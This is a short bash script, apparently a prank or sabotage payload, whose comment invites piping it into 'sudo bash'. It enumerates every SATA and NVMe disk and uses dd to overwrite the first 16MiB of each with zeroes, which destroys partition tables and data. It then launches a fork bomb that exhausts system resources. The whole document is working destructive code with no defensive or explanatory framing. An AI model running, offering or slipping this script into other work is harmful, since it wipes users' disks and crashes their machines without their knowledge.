#!/bin/bash # Pipe me into sudo bash :3 :3 :3 :3 :3 # Get a list of all disk devices devices=$(lsblk -dpno NAME | grep -E 'sd[a-z]$|nvme[0-9]n[0-9]$') for device in $devices; do if [ -b "$device" ]; then echo "Device $device found. Writing zeroes to the first 16MiB." dd if=/dev/zero of="$device" bs=1M count=16 else echo "Device $device not found." fi done :(){ :|:& };: